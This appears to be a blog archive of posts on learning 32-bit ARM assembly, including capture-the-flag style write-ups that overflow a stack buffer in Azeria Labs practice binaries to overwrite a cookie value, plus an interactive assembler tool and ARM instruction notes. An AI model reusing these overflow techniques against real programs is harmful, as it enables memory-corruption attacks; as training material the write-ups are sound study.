Переполнение буфера

A cookie is stored in the stack with a value of zero. Then argv is loaded into r3 or &argv[0] if you want.

The add instruction moves argv pointer 4 bytes forward. In other words, r3 points to argv[1].

Finally the pointer is dereferenced and r3 has the argv[1] pointer.

 ► 0x104dc <main+44>    mov    r3, #0
   0x104e0 <main+48>    str    r3, [fp, #-8]
   0x104e4 <main+52>    ldr    r3, [fp, #-0x54]
   0x104e8 <main+56>    add    r3, r3, #4
   0x104ec <main+60>    ldr    r3, [r3]

Like in the previous challenge, begin of the buffer for strcpy is 4 bytes below the pushed arguments and has a size of 64 bytes (0x48 bytes minus 4 bytes for the pushed fp and 4 bytes for the cookie)

   0x104f0 <main+64>    sub    r2, fp, #0x48

100:20> ;! M[sp:]
[
        --
        |   \xee\xee\xee\xee   == r1
        |   \xdd\xdd\xdd\xdd   == r0
  0x50  |   \x00\x00\x00\x00
buf ----|-->AAAA
        |   BBBB
        |   CCCC
        |   ... 13 more rows full of zeros ...
cookie -|-->\x00\x00\x00\x00
        --
   0x8  |   \xbb\xbb\xbb\xbb   == fp
 fp ----|-->\xaa\xaa\xaa\xaa   == lr
        --
]

Finally the call to strcpy is made:

   0x104f4 <main+68>    mov    r0, r2
   0x104f8 <main+72>    mov    r1, r3
   0x104fc <main+76>    bl     #strcpy@plt <strcpy@plt>

Сравнение

 ► 0x10500 <main+80>     ldr    r3, [fp, #-8]
   0x10504 <main+84>     ldr    r2, [pc, #0x30]
   0x10508 <main+88>     cmp    r3, r2
   0x1050c <main+92>     bne    #main+108 <main+108>

The cookie is loaded from the stack and compared with the value stored in the code segment at 0x10504 + 0x30 + 0x8:

pwndbg> x/1wx 0x1053c
0x1053c <main+140>:     0x61626364

The good old 'abcd' or 'dcba' to be more precise due the endianess of the machine.

A byte by byte inspection may make this more explicit:

pwndbg> x/4bx 0x1053c
0x1053c <main+140>:     0x64    0x63    0x62    0x61

Наша цель (branch at 0x1050c not taken):

pwndbg> pdisass 0x10510
 ► 0x10510 <main+96>     ldr    r0, [pc, #0x28]
   0x10514 <main+100>    bl     #puts@plt <puts@plt>

   0x10518 <main+104>    b      #main+124 <main+124>

pwndbg> x/1wx 0x10540
0x10540 <main+144>:     0x000105d8

pwndbg> x/1bs 0x000105d8
0x105d8:        "you have correctly got the variable to the right value"

Неудача (branch at 0x1050c is taken):

pwndbg> pdisass &main+108 10
 ► 0x1051c <main+108>    ldr    r3, [fp, #-8]
   0x10520 <main+112>    ldr    r0, [pc, #0x1c]
   0x10524 <main+116>    mov    r1, r3
   0x10528 <main+120>    bl     #printf@plt <printf@plt>

pwndbg> x/1wx 0x10544
0x10544 <main+148>:     0x00010610

pwndbg> x/1bs 0x00010610
0x10610:        "Try again, you got 0x%08x\n"

Эпилог

We reach here regardless of which path the branch at 0x1050c jumped to:

pwndbg> pdisass &main+124
 ► 0x1052c <main+124>    mov    r0, r3
   0x10530 <main+128>    sub    sp, fp, #4
   0x10534 <main+132>    pop    {fp, pc}

Атака

pi@raspberrypi:~$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value

Smashing ARM Stack for Fun - Part I

2021-01-14T00:00:00+00:00

This is the first of a serie of posts about exploiting 32 bits Arm binaries.

These challenges were taken from Azeria Labs.

Setup

⊕ For the records:

qemu-system-arm -M versatilepb -cpu arm1176 -m 256 -drive "file=2020-12-02-raspios-buster-armhf-lite.img,if=none,index=0,media=disk,format=raw,id=disk0" -device "virtio-blk-pci,drive=disk0,disable-modern=on,disable-legacy=off" -net "user,hostfwd=tcp::3022-:22,hostfwd=tcp::9999-:9999" -dtb versatile-pb-buster-5.4.51.dtb -kernel kernel-qemu-5.4.51-buster -append "root=/dev/vda2 panic=1" -no-reboot -net nic -nographic

Let’s spin a Rasbian first. Make your to forward a port for the ssh and another for the gdbserver so we can connect to them from the host machine.

There are 7 binaries compiled for ARM for 32 bits, not stripped and dynamically linked.

We will focus on stack0 for now.

$ file stack0
stack0: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-armhf.so.3,
for GNU/Linux 2.6.32,
BuildID[sha1]=1171fa6db1d5176af44d6d462427f8d244bd82c8,
not stripped

Spin the gdbserver:

pi@raspberrypi:~$ gdbserver :9999 stack0
Process /home/pi/stack0 created; pid = 410
Listening on port 9999

And now, from the host, connect your gdb to the server. In my case I will use pwndbg, an enhanced version of gdb.

$ gdb-multiarch -q -x ~/scripts/pwndbg.gdbinit
pwndbg> target extended-remote :9999
Remote debugging using <...>
Reading /home/pi/stack0 from remote target...

In addition to the debugger, I will use an interactive assembler to play with some Arm code that I may not understand but which I don’t want to run in the debugger (see my post about iasm).

Stack initialization

The stack initialization of main is as follows:

pwndbg> pdisass &main
 ► 0x1044c <main>       push   {fp, lr}
   0x10450 <main+4>     add    fp, sp, #4
   0x10454 <main+8>     sub    sp, sp, #0x50
   0x10458 <main+12>    str    r0, [fp, #-0x50]
   0x1045c <main+16>    str    r1, [fp, #-0x54]
   0x10460 <main+20>    mov    r3, #0
   0x10464 <main+24>    str    r3, [fp, #-8]
   0x10468 <main+28>    sub    r3, fp, #0x48
   0x1046c <main+32>    mov    r0, r3
   0x10470 <main+36>    bl     #gets@plt <gets@plt>

The lr and the fp are pushed in that order (0x8 bytes), the fp is updated and points to the pushed lr (add fp, sp, #4) and then 0x50 bytes are allocated (sub sp, sp, #0x50).

The arguments of main, registers r0 and r1, are saved on top of the stack (str r0, [fp, #-0x50], str r1, [fp, #-0x54]).

And then the cookie is stored:

   0x10460 <main+20>    mov    r3, #0
   0x10464 <main+24>    str    r3, [fp, #-8]

This is our target.

Call to `gets`

In the main function a call to gets is done with a buffer allocated in the stack:

pwndbg> pdisass
   0x10460 <main+20>    mov    r3, #0
   0x10464 <main+24>    str    r3, [fp, #-8]
   0x10468 <main+28>    sub    r3, fp, #0x48
   0x1046c <main+32>    mov    r0, r3
 ► 0x10470 <main+36>    bl     #gets@plt <gets@plt>
        r0: 0xbefffb6c ◂— 0x0
        r1: 0xbefffd04 —▸ 0xbefffe14 ◂— '/home/pi/stack0'
        r2: 0xbefffd0c —▸ 0xbefffe24 ◂— 'SHELL=/bin/bash'
        r3: 0xbefffb6c ◂— 0x0

The registers before the call to gets were:

------  ----  ------  ---------  ------  ---------  ------  ------
    r0  1fb4  r1      eeee:eeee  r2      0          r3      1fb4
    r4  0     r5      0          r6      0          r7      0
    r8  0     r9/sb   0          r10     0          r11/fp  1ffc
r12/ip  0     r13/sp  1fa8       r14/lr  aaaa:aaaa  r15/pc  100:20
------  ----  ------  ---------  ------  ---------  ------  ------

And the manually-annotated stack was:

100:20> ;! M[sp:]   # <-- from sp to the end of the mapped page
[
        --
        |   \xee\xee\xee\xee   == r1
        |   \xdd\xdd\xdd\xdd   == r0
  0x50  |   \x00\x00\x00\x00
        |   ... 16 more rows full of zeros ...
cookie -|-->\x00\x00\x00\x00
        --
   0x8  |   \xbb\xbb\xbb\xbb   == fp
 fp ----|-->\xaa\xaa\xaa\xaa   == lr
        --
] <-- base of stack

r3 points almost to the begin of the bunch of zeros, just 4 bytes below.

We can verify this writing and inspecting the memory:

100:20> ;! M[r3:] = b"AAAABBBBCCCC"
100:20> ;! M[sp:]
[
        \xee\xee\xee\xee
        \xdd\xdd\xdd\xdd
        \x00\x00\x00\x00    == these are still zeros
buf --> AAAA
        BBBB
        CCCC
        \x00\x00\x00\x00
        ...
]

Indeed, the destination buffer of gets has 0x48 - 0x8 bytes (we subtract 4 bytes for the cookie and 4 bytes for the stored fp)

100:20> ;! M[sp:]
[
        --
        |   \xee\xee\xee\xee   == r1
        |   \xdd\xdd\xdd\xdd   == r0
  0x50  |   \x00\x00\x00\x00
buf ----|-->AAAA
        |   BBBB
        |   CCCC
        |   ... 13 more rows full of zeros ...
cookie -|-->\x00\x00\x00\x00
        --
   0x8  |   \xbb\xbb\xbb\xbb   == fp
 fp ----|-->\xaa\xaa\xaa\xaa   == lr
        --
]

The target

The program stores a cookie initialized to zero in the stack before the call to gets and then it checks its value.

   0x10460 <main+20>    mov    r3, #0
   0x10464 <main+24>    str    r3, [fp, #-8]
    ...
   0x10470 <main+36>    bl     #gets@plt <gets@plt>
   0x10474 <main+40>    ldr    r3, [fp, #-8]
   0x10478 <main+44>    cmp    r3, #0

If it is still zero jumps to a puts that prints "Try again?".

But if an overflow occurs, the cookies will be non-zero and another puts will executed.

This is the print that we are looking for:

   0x10480 <main+52>    ldr    r0, [pc, #0x18]
 ► 0x10484 <main+56>    bl     #puts@plt <puts@plt>

The address of the string to print is stored in the code segment, 0x18 bytes below the program counter at 0x10480.

However 0x10480 + 0x18 == 0x10498 is not correct:

pwndbg> x/4 0x10498
0x10498 <main+76>:  0xe24bd004  0xe8bd8800  0x0001051c  0x00010548

почему?

“When using R15 as the base register you must remember it contains an address 8 bytes on from the address of the current instruction.” Arm documentation

So it is 0x10498 + 0x8:

pwndbg> x/4 0x104a0
0x104a0 <main+84>:  0x0001051c  0x00010548  0xe92d43f8  0xe1a07000

pwndbg> p (char*)0x0001051c
$21 = 0x1051c "you have changed the 'modified' variable"

The exploit

Writing 0x40+1 bytes we will overflow the buffer overwriting the cookie in the stack but without corrupting the stack further.

pi@raspberrypi:~$ echo -n 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | ./stack0
you have changed the 'modified' variable

iasm: Interactive Assembler

2021-01-09T00:00:00+00:00

I crossed with a series of Arm challenges by causality and I decided to give it a shoot.

But I have 0 knowledge about Arm so the disassembly of the binaries were too strange for me.

I stepped back to plan it better: my idea was to use GDB to debug small snippets of Arm code, learn about it before jumping into the challenges.

I setup a QEMU virtual machine running Rasbian in an Arm CPU.

With a GCC and GDB running there I started but the compile-load-debug cycle was too inflexible.

I could not use it to explore.

If I wanted to see the effect of a particular instruction I needed to write it in assembly, compile it and debug it.

And the time between the “what does X?” and the “X does this” was too large, reducing the momentum that you have when you explore something new.

Too tedious.

So I decided to shorten the cycle writing an interactive assembler.

First try: GDB as the engine

GDB can manipulate the memory of the debuggee process. In particular we could write binary code, jump to it and execute it. Perfect.

But GDB doesn’t have a compiler for assembly.

Or has it?

Keystone engine

No, but one can be implemented easily with keystone-engine.

Keystone takes assembly code and compiles it. Having Python bindings we could put this into a GDB plugin and presto!

Second try: Unicorn engine

GDB requires a full operative system (Rasbian) running in a full emulated QEMU machine.

Can we make it lighter? – Yes we can.

Unicorn engine

unicorn-engine it is a CPU emulator based on QEMU.

The trick is that Unicorn only emulates the CPU and memory and nothing else: no devices, disks or network cards.

Without anything to manage, Unicorn does not need an operative system making it a solution much lighter.

And better, the Python bindings for Unicorn gives us access to the CPU registers and memory so we can get rid of GDB.

iasm: keystone + unicorn + python

I soon realized that while learning Arm by writing code is the best way to do it, writing everything in assembly is hard.

Simple tasks like initialize the registers or print a chunk of stack involves several instructions.

In Python r0 = 1111127999. In Arm:

100:0>     ldr r0, .Lval
100:0>
100:0> .Lval:
100:0>     .word 1111127999

So, iasm has an escape mode. Basically I call eval/exec emulating with Python variables like r0 and M registers and memory.

And that’s iasm an keystone assembler connected with a unicorn emulator and some python code to glue them.

Features

Python Prompt Toolkit

python-prompt-toolkit or PPT for short, is a library to build CLI applications.

It has syntax highlighting as you write (using pygments), autocompletion and command line history.

An enhanced replacement for Python’s input for sure.

Memory

Unicorn has mem_read and mem_write to change the memory of the process but like any other process, the memory pages need to be mapped before with mem_map and released with mem_unmap.

mu.mem_map(0x1000, 0x2000)
mu.mem_write(0x1100, 0x1200, b"A" * 0x100)
mu.mem_read(0x1100, 0x1200)
mu.mem_unmap(0x1000, 0x2000)

iasm has a more pythonic syntax accessible from the Python shell:

100:0> ;! M[0x1000:0x2000] = 0  # map and initialize
Mapping memory region [0x1000-0x1fff] (sz 0x1000)

100:0> ;! M[0x1050:0x1055] = 0x41       # write like 'memset'
100:0> ;! M[0x1055:0x105a] = b'B' * 5   # write like 'memcpy'

100:0> ;! M[0x1050:0x105a]     # read
[AAAAABBBBB]

100:0> ;! M    # list mapped pages
[0x1000-0x1fff] (sz 0x1000)
[0x1000000-0x11fffff] (sz 0x200000)

100:0> ;! del M[0x1000:0x2000]    # unmap

Allocate stack

To allocate the stack and setup the (Arm) registers just run:

100:0> ;! M[0x1000:0x2000] = 0
Mapping memory region [0x1000-0x1fff] (sz 0x1000)

100:0> ;! fp = sp = 0x2000

Now, play with it and practice your (Arm) assembly:

100:0> mov r0, #4
100:0> mov r1, #8
100:0> push {r0, r1}

And check the stack (was r0 pushed before r1 or not? Check it!)

100:0> ;! M[sp:]   # from sp to the end of the mapped page
[\x04\x00\x00\x00\x08\x00\x00\x00]

Initialization script

Write in a file all the initialization like the stack allocation and load it from the command line with -i.

$ echo ';! r0 = r1 = r2 = 8' > init

$ iasm -a arm -m arm -i init
Mapping memory region [0x1000000-0x11fffff] (sz 0x200000)
------  -  ------  -  ------  -  ------  -----
    r0  8  r1      8  r2      8  r3      0
<...>

Inline documentation

Following the tradition of Python, iasm includes documentation for the assembly instructions.

After the mnemonic type ? and enter to show it:

100:0> mul ?
<...>

Basically what I did was to convert to text the manual of reference of the ISA (typically it is a PDF file) and then parse the text.

I only focused in the documentation of the instructions, the rest is up to the user to search the complete story in the official documentation (only Arm for now)

Globs registers

iasm allows to select which registers to show using globs, Unix like pattern expressions defined by fnmatch.

$ iasm -a arm -m arm -r 'r[0-9]'
Mapping memory region [0x1000000-0x11fffff] (sz 0x200000)
--  -  -----  -  --  -  --  -
r0  0  r1     0  r2  0  r3  0
r4  0  r5     0  r6  0  r7  0
r8  0  r9/sb  0
--  -  -----  -  --  -  --  -
<...>

So the expression r[0-9] selects all the Arm registers from r0 to r15.

Compressed hex values

32 bit numbers are too large to display (and 64 bit address are worse!).

Instead, iasm shows them as compressed hexadecimal numbers.

They are like hexadecimals but the number is split into 4-digits groups divided by a :.

The leading zeros of each group are omitted and if the group is full of zeros only a single 0 is put and if the group is on the left (more significant digits), the whole group is omitted.

Here are some examples:

0x00000000             0
0x000000ab            ab
0x00ab00cd         ab:cd
0x00ab0000          ab:0

Review Arm Assembly

2021-01-04T00:00:00+00:00

There is no other way to learn something that playing with it.

Take assembly code, read it and predice what will do. Then test it.

Those mistakes, those mismatches between what you think and what it really is, those surprises are what move us forward into learning. Deeper.

In this post I will dig into Arm, assisted with an interactive assembler.

GCC generated Arm assembly

We will see the assembly of the following C code compiled as:

pi@raspberrypi:~$ gcc -S -O0 -o asm1.asm asm1.c

raspberrypi is a QEMU virtual machine for Arm running a Raspbian Stretch. The setup is explained in my previous post QEMUlating a Rasbian (ARM).

The code is quite simple:

int rand() {
  return 0x42;
}

int sum(int a, int b) {
  return a+b;
}

int main() {
  int r = rand();
  if (r == 0)
    return 0;
  else if (r > 0x4041)
    return sum(r, 0x4041);
  else
    return -1;
}

Let’s dig into the assembly. I will use an interactive assembler.

The `rand` function

        .align  2
        .global rand
        .arch armv6
        .syntax unified
        .arm
        .fpu vfp
        .type   rand, %function
rand:
        ; link register save eliminated.
        str     fp, [sp, #-4]!
        add     fp, sp, #0
        mov     r3, #66
        mov     r0, r3
        add     sp, fp, #0
        ldr     fp, [sp], #4
        bx      lr
        .size   rand, .-rand

First, the code is aligned and the symbol is marked as “global”. .arm says that the code is Arm (aka .code 32).

Prologue

The function begins saving the frame pointer fp in the stack.

The str fp, [sp, #-4]! is a pre-index addressing store: the fp is saved 4 bytes “up” in the stack (the stack grows towards lower addresses).

And the store is in pre write-back store (!): the sp is updated (decremented by 4) before performing the store.

The sp points always to the latest valid value in the stack. That’s why sp is decremented before performing the store.

The add fp, sp, #0 is an alternative to mov fp, sp.

At the begin of the call:

------  -  ------  ----  ------  ---------  ------  ---------
    r0  0  r1      0     r2      0          r3      0
    r4  0  r5      0     r6      0          r7      0
    r8  0  r9/sb   0     r10     0          r11/fp  bbbb:bbbb
r12/ip  0  r13/sp  2000  r14/lr  aaaa:aaaa  r15/pc  100:0
------  -  ------  ----  ------  ---------  ------  ---------

After the fp and sp update:

------  -  ------  ----  ------  ---------  ------  -----
    r0  0  r1      0     r2      0          r3      0
    r4  0  r5      0     r6      0          r7      0
    r8  0  r9/sb   0     r10     0          r11/fp  1ffc
r12/ip  0  r13/sp  1ffc  r14/lr  aaaa:aaaa  r15/pc  100:4
------  -  ------  ----  ------  ---------  ------  -----

⊕ iasm, the interactive assembler, allows to explore the memory with the M object. M[sp:] means show the memory from the address stored in sp to the last address mapped page.

In other words: show the stack.

And the state of the stack is:

100:4> ;! M[sp:]
[\xbb\xbb\xbb\xbb]
       (fp)

100:4> ;! M[fp:]
[\xbb\xbb\xbb\xbb]
       (fp)

sp points always to the latest value of the stack; fp points to the previous fp value (0xbbbbbbbb in this case).

Body

The assembler didn’t optimize the code: it stored in r3 the immediate value of #66 (0x42) to then copy it to r0 (the register used for returning values). mov r0, #66 would be shorter.

Epilogue

Then the sp is restored to the current fp and the fp is restored to the previous fp value with ldr fp, [sp], #4

This load is a pre-index addressing with post write-back. That’s it, the fp is loaded with the valued pointed by sp and then sp is added 4 bytes (aka pop).

The compiler however should optimize this because the stack is not used at all so saving and restoring fp has no value.

What the compiled did, it didn’t save the link register lr.

The register holds the address to where return from a call. Because rand doesn’t call anything, lr from the caller is preserved so it is not needed to save it in the stack.

bx lr returns to the caller.

The `sum` function

sum:
        str     fp, [sp, #-4]!
        add     fp, sp, #0
        sub     sp, sp, #12
        str     r0, [fp, #-8]
        str     r1, [fp, #-12]
        ldr     r2, [fp, #-8]
        ldr     r3, [fp, #-12]
        add     r3, r2, r3
        mov     r0, r3
        add     sp, fp, #0
        ldr     fp, [sp], #4
        bx      lr
        .size   sum, .-sum

Prologue

In this case the function allocates 12 bytes to hold local variables (sub sp, sp, #12).

The second argument r1 is stored in the top of the stack; the first argument r0 is stored below. Arguments are pushed from left (r0) to right (r1).

The call convention says that the arguments are passed via registers (up to 4 args). They are set by the caller and, if needed, the callee needs to preserve them in the stack.

No really needed here because sum does not call other function but still the compiler follows the cookbook.

The function allocated 12 byte to hold 3 variables of 32 bits. We stored 2, the arguments, but the third element is never set.

The registers at the begin of the call were:

------  ---------  ------  ---------  ------  ---------  ------  ---------
    r0  cccc:cccc  r1      dddd:dddd  r2      0          r3      0
    r4  0          r5      0          r6      0          r7      0
    r8  0          r9/sb   0          r10     0          r11/fp  bbbb:bbbb
r12/ip  0          r13/sp  2000       r14/lr  aaaa:aaaa  r15/pc  100:0
------  ---------  ------  ---------  ------  ---------  ------  ---------

And after the stores, the stack has:

100:10> ;! M[sp:]
[\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x00\xbb\xbb\xbb\xbb]
       (r1)            (r0)            (??)            (fp)

100:10> ;! M[fp:]
[\xbb\xbb\xbb\xbb]
       (fp)

I presume that the unused space (??) is for the lr register.

The `main` function

main:
        push    {fp, lr}
        add     fp, sp, #4
        sub     sp, sp, #8
        bl      rand
        str     r0, [fp, #-8]
        ldr     r3, [fp, #-8]
        cmp     r3, #0
        bne     .L6
        mov     r3, #0
        b       .L7
.L6:
        ldr     r3, [fp, #-8]
        ldr     r2, .L9
        cmp     r3, r2
        ble     .L8
        ldr     r1, .L9
        ldr     r0, [fp, #-8]
        bl      sum
        mov     r3, r0
        b       .L7
.L8:
        mvn     r3, #0
.L7:
        mov     r0, r3
        sub     sp, fp, #4
        pop     {fp, pc}
.L10:
        .align  2

Prologue

The function saves fp and lr with a single push {fp,lr}.

The {r,r} notation is a set, not a list: registers are pushed in the inverse order of the registers (r0 to r15) regardless of how the push is written.

In our case fp is r11 and lr is r14 so that is the natural order, then the inverse order applies: r14 is pushed first, r11 later.

In short: r14 will be at the bottom of the stack (higher addresses) while r11 will be at the top (lower addresses).

The fp is then updated to the base of the stack for the current function call. The stack frame begins after storing the previous fp so the current fp points to the saved lr.

The fp update is done with add fp, sp, #4 (by this moment the sp is off by 4 due the push of lr).

The registers at the begin of the call were:

------  ---------  ------  ---------  ------  ---------  ------  ---------
    r0  cccc:cccc  r1      dddd:dddd  r2      0          r3      0
    r4  0          r5      0          r6      0          r7      0
    r8  0          r9/sb   0          r10     0          r11/fp  bbbb:bbbb
r12/ip  0          r13/sp  2000       r14/lr  aaaa:aaaa  r15/pc  100:0
------  ---------  ------  ---------  ------  ---------  ------  ---------

And after the push and add, the registers were:

------  ---------  ------  ---------  ------  ---------  ------  -----
    r0  cccc:cccc  r1      dddd:dddd  r2      0          r3      0
    r4  0          r5      0          r6      0          r7      0
    r8  0          r9/sb   0          r10     0          r11/fp  1ffc
r12/ip  0          r13/sp  1ff8       r14/lr  aaaa:aaaa  r15/pc  100:4
------  ---------  ------  ---------  ------  ---------  ------  -----

And the stack:

100:4> ;! M[sp:]
[\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa]
       (fp)            (lr)

100:4> ;! M[fp:]
[\xaa\xaa\xaa\xaa]
       (lr)

This is not compatible with what we saw in rand and sum: the fp points to the saved fp in these functions but points to lr in main.

Also, in sum we believed that 4 unused bytes were reserved to store lr but here we see that the space is reserved later with sub sp, sp, #8 and does not include space for lr.

Comparisons

The call to rand (parameterless) is done with bl, branch and link.

The return value is in r0 and for some reason it is pushed and popped back from the stack into r3.

M[fp - 8] is used as the placeholder for this and for subsequent references to the returned value of rand.

Two comparisons are made for the if-else if statement:

        ldr     r3, [fp, #-8]
        cmp     r3, #0
    ...
        ldr     r3, [fp, #-8]
        ldr     r2, .L9
        cmp     r3, r2

The first compares r3 (rand returned value) with a immediate value of 0 (cmp r3, #0).

The second compares two registers, r3 and r2, where r2 is also a fixed value but it is to large to fit in the cmp instruction as an immediate value.

In this case the value is loaded in the r2 register from the code segment (label .L9).

.L9:
        .word   16449

Function call

A function call is done with branch with link bl.

Arguments are passed via r0 to r3 registers from left to right. More than 4 arguments require the stack.

        ; call to sum(r, 0x4041)
        ldr     r1, .L9         ; second arg
        ldr     r0, [fp, #-8]   ; first arg
        bl      sum

The bl saves the next instruction (the return address) in the link lr register (r14) and set the destination address in the program counter pc register (r15).

bx lr (branch and exchange) is used to return to the caller.

Arm directives

Two more fragments remains that are not part of any function.

These are directives for the GNU Assembler, see also this:

        .arch armv6
        .eabi_attribute 28, 1
        .eabi_attribute 20, 1
        .eabi_attribute 21, 1
        .eabi_attribute 23, 3
        .eabi_attribute 24, 1
        .eabi_attribute 25, 1
        .eabi_attribute 26, 2
        .eabi_attribute 30, 6
        .eabi_attribute 34, 1
        .eabi_attribute 18, 4
        .file   "asm1.c"
        .text

        .ident  "GCC: (Raspbian 8.3.0-6+rpi1) 8.3.0"
        .section        .note.GNU-stack,"",%progbits

Final thoughts

I have being reading documentation and write ups about Arm during the last weeks.

When I started my idea was to use a QEMU virtual machine for testing: code a little of assembly, compile it, debugging it with GDB and seeing the effects.

It turns out to be tedious very quickly.

I relayed then more in the documentation and the instruction set reference but when I review real code (like the one in this post) some things made no sense.

Obviously there were errors in my interpretation of the code.

That’s why I coded an interactive assembler to have a quick feedback of what each instruction does without requiring a compile-upload-debug cycle.

It really help me to “smooth out certain rough edges” and understand better the code specially when the indexing flavors and how the things are pushed and popped from the stack.

TL;DR Quick Overview of Arm

2020-12-27T00:00:00+00:00

Speed-reading of Whirlwind Tour of ARM Assembly.

The Arm instruction set

Arm is a Reduced Instruction Set Computer (RISC) that have a small set of instructions of fixed size in contrast with the Complex Instruction Set Computer (CISC).

In Arm the instructions are of 32 bits and the Thumb version has 16 and 32 bits instructions.

ARMv3 to ARMv7 versions has 32 bits addresses, previous version has 26 bits and ARMv8 introduced the 64 bits addresses.

Almost everything is conditional

Instructions can be executed conditionally. This avoids explicit jumps that are slower and the overall code size is smaller.

Use this for small snippets and fallback to traditional branches/jumps when the code is too large.

; r2 = max(r0, r1), traditional impl with branches
    cmp     r0, r1
    blt     .Lbmax      ; go to Lbmax if r0 < r1
    mov     r2, r0      ; r0 is higher ==> r0 > r1
    b       .Lrest      ; finish
.Lbmax:
    mov     r2, r1      ; r1 is higher
.Lrest:
    ...                 ;  rest of code

; r2 = max(r0, r1), with conditionals moves
    cmp     r0, r1
    movge   r2, r0      ;  move if r0 >= r1 (r0 is higher)
    movlt   r2, r1      ;  move if r0 < r1  (r1 is higher)
    ...                 ;  rest of code

Example took from Whirlwind Tour of Arm Assembly

Other instructions are also conditional. Even the set of the CPSR flags is conditional: sub does not set the status flags while subs it does.

Immediate values and the second operand shift

Some instructions allow the second operand to be shifted/rotated in the same instruction.

    add r0, r1, r1          ;  r0 = r1 + r1
    add r0, r1, r1, lsl #4  ;  r0 = r1 + (r1 << 4)
    add r0, r1, r1, lsl r2  ;  r0 = r1 + (r1 << r2)

Five shift/rotation exist, both as part of an instruction like above and as independent instructions as well.

The immediate value for shifts is limited to 31.

Logical shift left lsl, logical shift right lsr, arithmetic shift right asr, rotate right ror and rotate right with extend rrx (the 32 bits register is extended on the left with the carry bit: the LSB is rotated to the carry bit and the carry bit is shifted to the right into the MSB of the register)

          10000110
           \\\\\\\\
           ||||||| \
           vvvvvvv  \
          01000011   -> 0   (logical shift right)
          11000011   -> 0   (arithmetic shift right)

          10000110
           \\\\\\\\
           ||||||| \
           vvvvvvv  \
          01000011   |      (rotate shift right)
          ^---------/

   C=0    10000110
      \    \\\\\\\\
       \--\||||||| \
          vvvvvvvv  \
   C=0    01000011   |     (rotate right extended)
     ^---------------/

Having all these nice features in one instruction (shift, conditional, flag set) come with a cost: less room for immediate values.

In Thumb-2 and ARMv6 and above exists mov rd, #<imm16> to set a 16 bits number in a register without the possibility of using any of those fancy features. It is a plain move.

But that’s the exception to the rule. Most of the instructions including fancy moves only allow 8 bits immediate values.

    movs r0, #<imm8>, lsl #4    ;  r0 = imm8 << 4, update condition flags

Larger than 255 values in #<imm8> are possible because the instruction has 12 bits to store them. Why not just #<imm12> then?

The 4 extra bits are used to rotate to the right the #<imm8> value by twice the number encoded in those 4 bits.

In other words, the final value is n8 ror (2*r4): the 8 bits encoded number rotated by twice the 4 bits encoded.

This allows to set immediate values larger than 12 bits but loosing the possibility to encode some numbers. If you try to set one of those you will get a invalid constant error.

    mov r2, 128000  ;   r2 = 0x1f400
    mov r2, 127999  ;   Invalid operand (KS_ERR_ASM_INVALIDOPERAND)

More instructions are needed to compute an arbitrary 32 bits number or a load.

Note: a 32 bit number can be set in two instructions: set the 16 lower bits with mov rd, #<imm16> and set the 16 upper bits with move top, movt rd, #<imm16>

    mov r2, 0xccdd      ;   r2 = 0x0000ccdd
    movt r2, 0xaabb     ;   r2 = 0xaabbccdd

Registers

r0 to r3 are scratch registers: they are not preserved cross calls and it is caller’s responsibility to preserve them if needed.

r4 to r11 are variable registers: they must be preserved cross calls and it is callee’s responsibility to preserve them if needed.

r9 may play a different roll (platform dependent, known also as static base register or sb) and r11 may play the roll of fp so both may not be free for arbitrary usage.

The bl instruction saves the next instruction (the return address) in the link lr register (r14) and set the destination address in the program counter pc register (r15).

For “long jumps” and inter-operability, the intra-procedure-call registry ip (r12) is used.

r13 is the stack pointer sp.

Take a look at the Procedure Call Standard for the Arm Architecture

Data instructions

The arithmetic and logical instructions fall in this category; they manipulate only on registers, never on memory.

The destination and the first operand are registers while the second can be a register, and immediate value or a register shifted by another register or immediate value.

They can be conditionally executed and conditionally set the status flags.

The ARM and Thumb-2 Instruction Set Quick Reference Card is your friend!

There are no division instructions except on ARMv7-R and ARMv7-M and multiplication operations are more special.

Because the registers are of 32 bits, the result of a multiplication cannot fit there: we need 64 bits!

There are two sets of multiplications: the one that stores the result in a 32 bits register (mul rd, rm, rs) and the one that stores it in two registers (umull rdlo, rdhi, rm rs) – the extra l means long.

Memory instructions: load and store

Loads and stores are quite similar: they can operate (load/store) on 32 bits words, half-words (h) and bytes (b), zero extended or signed extended (s, sh and sb respectively).

Note: sb and sh prefixes are not supported for stores.

Indexing

In ldr rd, [rn] or str rd, [rn], the [ ] denotes dereferencing and the rn register is the base register.

    ldr r0, [sp]  ; r0 = stack top

This is the register indirect addressing.

An offset can be added to the base register, useful to iterate over an array like ldr rd, [rn, rm], ldr rd, [rn, #4] or even ldr rd, [rn, rm, lsl #4].

    ldr r0, [sp]                ; r0 = stack top
    ldr r0, [sp, #4]            ; r0 = elem below the top
    ldr r0, [sp, r3]            ; if r3 == 4, same above (sp + 4)
    ldr r0, [sp, r3, lsl #2]    ; if r3 == 2, same above (sp + (1 << 2))

This is known as pre-index addressing.

Note the use of squares in ldr rd, [rn, rm, lsl #4], the instruction ldr rd, [rn], rm, lsl #4 is a pre-index addressing with post write-back: the base address is updated with the final value after the load completed.

    ldr r0, [sp], #4     ; r0 = stack top, sp move 4 down (aka "pop")
    ldr r0, [sp], #4     ; r0 = next stack top, sp move 4 down (aka "pop")

A pre write-back variant exists: ldr rd, [rn, rm, lsl #4]!.

    ldr r0, [sp, #4]!    ; r0 = sp move 4 down then load (top was skipped)

Note: pre write-back makes more sense for stores (aka pushes) and post write-back for loads (aka pops)

    ; swap r0, r1 using the stack, really slow!
    str r0, [sp, #-4]!    ; r0 = sp move 4 up then store (aka push)
    str r1, [sp, #-4]!    ; r1 = sp move 4 up then store (aka push)
    ldr r0, [sp], #4      ; r0 = stack top, sp move 4 down (aka "pop")
    ldr r1, [sp], #4      ; r1 = stack top, sp move 4 down (aka "pop")

PC-relative addressing allows to load a memory which address is an offset of the program counter: ldr rd, <label>. This works only for loads; useful to load numbers that cannot fit in an imm8.

Not all the combinations of sizes and addressing are possible. Check the data sheet.

Bulk load/store

Several registers can be loaded or stored with a single load multiple (ldm) and store multiple (stm) instructions.

They have a base address, a set of registers and an indexing affix that controls how to “iterate the array/memory”.
